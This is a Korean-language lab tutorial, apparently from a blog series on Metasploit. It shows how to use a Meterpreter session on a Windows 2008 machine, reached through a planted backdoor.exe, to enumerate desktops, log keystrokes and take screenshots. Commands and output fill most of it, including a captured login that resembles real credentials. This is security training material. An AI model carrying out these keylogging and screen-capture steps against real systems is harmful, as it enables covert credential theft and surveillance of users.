본문 바로가기

Learning/└◆Metasploit

metasploit 11. 키보드 스니핑과 스크린샷

[실습] 키보드 스니핑과 스크린샷

 

사용 시스템

- KaliLinux

- Windows 2008

 

 

meterpretergetdesktop과 키 스니핑에 대해서 테스트해 보자.

관련 명령어들

   enumdesktops  접근 가능한 테스크톱과 윈도우 스테이션 전체 목록을 확인

        getdesktop    현재 meterpreter 세션으로 작업하고 있는 사용자 시스템의 현재 테스크 톱 확인

        setdesktop    현재 meterpreter 세션 테스크톱에서 다른 데스크톱 스테이션으로 변경

        keyscan_start 현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 시작

        keyscan_stop  현재 작업 중인 스테이션에서 키보드 스니퍼(가로채기)를 종료

        keyscan_dump   meterpreter 데스크톱 세션의 키보드 동작을 저장

윈도우 데스크톱(desktop)에 대해서

    Session 0

        |

        +----- WinSta0(Interactive station)

        |         |                           

        |         +----- Default(desktop)    모든 Applicationdesktop에서 수행되는 작업들, 로그인시 프로그램 환경

        |         +----- Disconnect(desktop)  스크린 세이버 잠금과 관련 ,일정 시간 후 잠기는 화면 

        |         +----- Winlogon(desktop)    윈도우 로그인 화면 

        |

        +----- Service-0x0-3e7$(Non-interactive station)

        |         |

        |         +----- Default(desktop)

        |

        +----- Service-0x0-3e4$(Non-interactive station)

        |       |

        |       +----- Default(desktop)

        |

        +----- SAWinSta(Non-interactive station)

                |

                +----- Default(desktop)

        => desktop은 각각의 키보드 버퍼를 가지고 있다.

 

(KaliLinux)

현재 meterpreterSession/Winsta0/Default 설정되었는지 확인

 

(필요하면 명령어 수행)

(KaliLinux)

# netstat -an | grep :5432

# service postgresql start

# cd /root/bin ; msfconsole -r reverse_resource2.rc

(Windows2008)

바탕화면에 backdoor.exe 파일 실행

(KaliLinux)

 exploit(handler) > sessions -l

 exploit(handler) > sessions -i 1

 meterpreter >


C:\Users\soldesk\Desktop> exit

meterpreter > help

..... (중략) .....

Stdapi: User interface Commands

===============================

 

Command Description

------- -----------

enumdesktops List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle

keyscan_dump Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan_stop Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

..... (중략) .....

 

meterpreter > enumdesktops  데스크톱 목록 확인

Desktops

========

 

Session   Station   Name

-------   -------   ----

1         WinSta0   Default

1         WinSta0   Winlogon

 

meterpreter > getdesktop

Session 1\WinSta0\Default (session 1\W\D)

********************************************************************************* 

[참고] 만약 Session/WinSta0/Default 가 아닌경우는 다음과 같이 수행한다.

meterpreter > getdesktop

Session 0\Service-0x0-3e7$\Default

meterpreter > setdesktop

Session 0\WinSta0\Default

*********************************************************************************

meterpreter > keyscan_start 스니핑 시작

Starting the keystroke sniffer...


********************************************************************************* 

(windows 2008) 웹브라우저를 통해 웹(EX: www.daum.net)에 접속하여 로그인을 한다.

http://www.daum.net

ID/PASS

*********************************************************************************

 

meterpreter > keyscan_dump

Dumping captured keystrokes...

www.daum.net <Return> <Return> jang4sctest1234

meterpreter > keyscan_stop

Stopping the keystroke sniffer...

meterpreter > screenshot       클라이언트 화면 캡처

Screenshot saved to: /root/bin/ryEDqesf.jpeg

 

/root/bin/ryEDqesf.jpeg 파일을 확인

 

 


Kali Linux 


WINDOW2008